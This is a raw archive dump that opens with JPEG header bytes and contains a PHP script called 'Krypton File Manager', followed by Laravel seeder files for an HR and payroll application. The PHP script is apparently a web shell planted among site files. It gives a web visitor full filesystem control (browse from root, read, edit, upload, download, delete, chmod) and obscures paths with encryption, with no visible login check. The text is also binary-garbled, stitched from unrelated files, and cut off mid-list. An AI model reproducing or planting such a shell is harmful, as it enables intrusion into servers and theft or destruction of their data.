JFIFxxC      C  " }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr314771/index.php000064400000124467150364316420007154 0ustar00 SESSION_TIMEOUT)) { // Session expired session_unset(); session_destroy(); } $_SESSION['last_activity'] = time(); // Update last activity time // Encryption and decryption functions function encryptPath($path) { $iv = openssl_random_pseudo_bytes(16); $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv); return base64_encode($encrypted . '::' . base64_encode($iv)); } function decryptPath($encryptedPath) { try { $decoded = base64_decode($encryptedPath); if ($decoded === false) { return getcwd(); // Default to current directory if decoding fails } if (strpos($decoded, '::') === false) { return getcwd(); // Default to current directory if separator not found } list($encrypted_data, $iv_b64) = explode('::', $decoded, 2); $iv = base64_decode($iv_b64); if ($iv === false || strlen($iv) !== 16) { return getcwd(); // Default to current directory if IV is invalid } $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv); if ($decrypted === false) { return getcwd(); // Default to current directory if decryption fails } return $decrypted; } catch (Exception $e) { return getcwd(); // Default to current directory on any exception } } // Function to get human-readable file size function formatFileSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' bytes'; } } // Function to get file permissions in Unix format function getFilePermissions($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } // Function to get file extension function getFileExtension($filename) { return strtolower(pathinfo($filename, PATHINFO_EXTENSION)); } // Function to check if a file is editable function isEditableFile($filename) { /* $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess']; $extension = getFileExtension($filename); return in_array($extension, $editableExtensions); */ return true; } // Process actions $error = ''; $success = ''; // Get and decrypt the path parameter $currentPath = getcwd(); // Default path // Check if there's a current path in the session if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) { $currentPath = $_SESSION['current_path']; } // Handle POST request for navigation if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Store current path for form submissions if (isset($_POST['current_path'])) { $decryptedCurrentPath = decryptPath($_POST['current_path']); if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) { $currentPath = $decryptedCurrentPath; $_SESSION['current_path'] = $currentPath; } } if (isset($_POST['action'])) { // Handle file content request for editing if ($_POST['action'] === 'getContent' && isset($_POST['path'])) { $filePath = decryptPath($_POST['path']); if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) { echo file_get_contents($filePath); exit; } else { echo "Error: Cannot read file."; exit; } } // Handle navigation if ($_POST['action'] === 'navigate' && isset($_POST['path'])) { $decryptedPath = decryptPath($_POST['path']); if (file_exists($decryptedPath) && is_dir($decryptedPath)) { $currentPath = $decryptedPath; $_SESSION['current_path'] = $currentPath; } } // Handle file download if ($_POST['action'] === 'download' && isset($_POST['path'])) { $downloadPath = decryptPath($_POST['path']); if (file_exists($downloadPath) && !is_dir($downloadPath)) { // Set headers for file download header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($downloadPath)); ob_clean(); flush(); readfile($downloadPath); exit; } } } // Handle file upload if (isset($_POST['upload'])) { if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) { $success = 'File uploaded successfully.'; } else { $error = 'Failed to upload file.'; } } else { $error = 'No file selected or upload error.'; } } // Handle file/directory deletion if (isset($_POST['delete']) && isset($_POST['path'])) { $deletePath = decryptPath($_POST['path']); if (file_exists($deletePath)) { if (is_dir($deletePath)) { // Try to remove directory if (rmdir($deletePath)) { $success = 'Directory deleted successfully.'; } else { $error = 'Failed to delete directory. It may not be empty.'; } } else { // Remove file if (unlink($deletePath)) { $success = 'File deleted successfully.'; } else { $error = 'Failed to delete file.'; } } } else { $error = 'File or directory does not exist.'; } } // Handle file/directory rename if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) { $oldPath = decryptPath($_POST['oldPath']); $newName = $_POST['newName']; $dirName = dirname($oldPath); $newPath = $dirName . '/' . $newName; if (file_exists($oldPath)) { if (rename($oldPath, $newPath)) { $success = 'Renamed successfully.'; } else { $error = 'Failed to rename.'; } } else { $error = 'File or directory does not exist.'; } } // Handle permission change if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) { $permPath = decryptPath($_POST['permPath']); $permissions = $_POST['permissions']; // Convert from octal string to integer $mode = octdec($permissions); if (file_exists($permPath)) { if (chmod($permPath, $mode)) { $success = 'Permissions changed successfully.'; } else { $error = 'Failed to change permissions.'; } } else { $error = 'File or directory does not exist.'; } } // Handle file edit if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) { $filePath = decryptPath($_POST['filePath']); $fileContent = $_POST['fileContent']; if (file_exists($filePath) && !is_dir($filePath)) { if (file_put_contents($filePath, $fileContent) !== false) { $success = 'File saved successfully.'; } else { $error = 'Failed to save file.'; } } else { $error = 'File does not exist.'; } } // Handle create new file if (isset($_POST['createFile']) && isset($_POST['newFileName'])) { $newFileName = $_POST['newFileName']; $newFilePath = $currentPath . '/' . $newFileName; if (!file_exists($newFilePath)) { if (file_put_contents($newFilePath, '') !== false) { $success = 'File created successfully.'; } else { $error = 'Failed to create file.'; } } else { $error = 'File already exists.'; } } // Handle create new folder if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) { $newFolderName = $_POST['newFolderName']; $newFolderPath = $currentPath . '/' . $newFolderName; if (!file_exists($newFolderPath)) { if (mkdir($newFolderPath, 0755)) { $success = 'Folder created successfully.'; } else { $error = 'Failed to create folder.'; } } else { $error = 'Folder already exists.'; } } } // Save current path to session $_SESSION['current_path'] = $currentPath; // Get directory contents $items = []; if (is_dir($currentPath)) { if ($handle = opendir($currentPath)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $fullPath = $currentPath . '/' . $entry; $isDir = is_dir($fullPath); try { $size = $isDir ? '-' : formatFileSize(filesize($fullPath)); $permissions = getFilePermissions($fullPath); $lastModified = date('Y-m-d H:i:s', filemtime($fullPath)); $items[] = [ 'name' => $entry, 'path' => $fullPath, 'encryptedPath' => encryptPath($fullPath), 'isDirectory' => $isDir, 'size' => $size, 'permissions' => $permissions, 'lastModified' => $lastModified, 'isEditable' => !$isDir && isEditableFile($entry) ]; } catch (Exception $e) { // Skip files that can't be accessed continue; } } } closedir($handle); } } // Sort items: directories first, then files usort($items, function($a, $b) { if ($a['isDirectory'] && !$b['isDirectory']) { return -1; } if (!$a['isDirectory'] && $b['isDirectory']) { return 1; } return strcasecmp($a['name'], $b['name']); }); // Get breadcrumb parts $breadcrumbs = []; $pathParts = explode('/', $currentPath); $buildPath = ''; foreach ($pathParts as $part) { if (empty($part)) { $buildPath = '/'; $breadcrumbs[] = [ 'name' => 'Root', 'path' => $buildPath, 'encryptedPath' => encryptPath($buildPath) ]; } else { $buildPath .= ($buildPath === '/') ? $part : '/' . $part; $breadcrumbs[] = [ 'name' => $part, 'path' => $buildPath, 'encryptedPath' => encryptPath($buildPath) ]; } } // Get the script's directory for the Home button $homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']); $encryptedHomeDirectory = encryptPath($homeDirectory); // Encrypt current path for forms $encryptedCurrentPath = encryptPath($currentPath); ?> Krypton File Manager

Upload Files

Files

Filename Size Permissions Last Modified Actions
..
- - - -
PlansTableSeeder.php000064400000001147150364316420010441 0ustar00 'Free Plan', 'price' => 0, 'duration' => 'Lifetime', 'max_users' => 1, 'max_employees' => 5, 'storage_limit' => 1024, 'enable_chatgpt' => 'on', 'image' => 'free_plan.png', ] ); } } UsersTableSeeder.php000064400000302071150364316420010465 0ustar00 "Manage User", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create User", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit User", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete User", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Role", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Role", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Role", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Role", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Award", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Award", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Award", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Award", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Transfer", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Transfer", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Transfer", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Transfer", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Resignation", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Resignation", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Resignation", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Resignation", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Travel", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Travel", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Travel", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Travel", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Promotion", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Promotion", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Promotion", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Promotion", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Complaint", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Complaint", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Complaint", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Complaint", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Warning", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Warning", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Warning", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Warning", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Termination", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Termination", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Termination", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Termination", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Department", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Department", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Department", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Department", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Designation", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Designation", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Designation", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Designation", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Document Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Document Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Document Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Document Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Branch", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Branch", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Branch", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Branch", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Award Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Award Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Award Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Award Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Termination Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Termination Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Termination Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Termination Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Employee", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Employee", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Employee", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Employee", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Show Employee", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Payslip Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Payslip Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Payslip Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Payslip Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Allowance Option", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Allowance Option", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Allowance Option", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Allowance Option", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Loan Option", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Loan Option", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Loan Option", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Loan Option", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Deduction Option", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Deduction Option", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Deduction Option", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Deduction Option", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Set Salary", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Set Salary", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Set Salary", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Set Salary", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Allowance", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Allowance", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Allowance", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Allowance", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Commission", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Loan", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Saturation Deduction", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Other Payment", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Overtime", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Commission", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Commission", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Loan", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Loan", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Saturation Deduction", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Saturation Deduction", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Other Payment", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Other Payment", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Overtime", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Overtime", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Pay Slip", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Pay Slip", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Pay Slip", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Pay Slip", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Account List", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Account List", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Account List", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Account List", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "View Balance Account List", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Payee", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Payee", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Payee", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Payee", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Payer", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Payer", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Payer", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Payer", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Expense Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Expense Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Expense Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Expense Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Income Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Income Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Income Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Income Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Payment Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Payment Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Payment Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Payment Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Deposit", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Deposit", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Deposit", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Deposit", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Expense", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Expense", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Expense", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Expense", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Transfer Balance", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Transfer Balance", "guard_name" => "web", 